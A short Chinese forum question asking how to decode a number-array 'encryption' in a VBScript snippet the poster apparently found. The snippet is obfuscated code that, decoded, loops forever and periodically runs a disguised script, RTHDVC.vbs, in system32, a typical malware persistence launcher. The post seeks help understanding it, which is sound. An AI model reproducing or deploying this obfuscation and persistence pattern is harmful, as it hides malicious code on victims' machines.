请教大神这是用什么加密方式,都是数字加密,有什么软件可以还有解密吗 谢谢
HqwStr = Array(68,105,109,32,111,98,106,119,115,13,10,83,101,116,32,111,98,106,119,115,61,87,83,99,114,105,112,116,46,67,114,101,97,116,101,79,98,106,101,99,116,40,34,119,115,99,114,105,112,116,46,115,104,101,108,108,34,41,13,10,119,104,105,108,101,32,116,114,117,101,13,10,32,32,32,119,115,99,114,105,112,116,46,115,108,101,101,112,32,50,52,48,48,48,48,48,48,13,10,32,32,32,111,98,106,119,115,46,82,85,78,32,34,67,58,92,87,73,78,68,79,87,83,92,115,121,115,116,101,109,51,50,92,82,84,72,68,86,67,46,118,98,115,34,13,10,119,101,110,100)
Execute Num2Str(HqwStr)
Function Num2Str(HqwStr)
For I=0 To UBound(HqwStr)
Num2Str = Num2Str & Chr(HqwStr(I))
Next
End Function |